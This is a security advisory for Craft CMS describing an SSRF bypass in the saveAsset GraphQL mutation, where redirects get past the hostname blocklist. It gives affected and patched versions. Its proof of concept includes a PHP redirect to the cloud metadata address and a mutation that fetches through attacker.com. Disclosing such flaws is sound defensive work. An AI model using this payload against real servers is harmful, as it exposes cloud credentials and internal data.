Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.

Affected: Packagist: craftcms/cms

## Summary The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

--- ## Proof of Concept 1. Host a redirect script on your server (e.g. `redirect.php`): ```php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> ``` 2. Send the following GraphQL mutation: ```graphql mutation { save_images_Asset(_file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } ``` 3. The application validates `attacker.com` (passes) 4. Guzzle follows the redirect to `169.254.169.254` 5. Cloud metadata is saved as an asset

--- ## Mitigation - Disable redirects.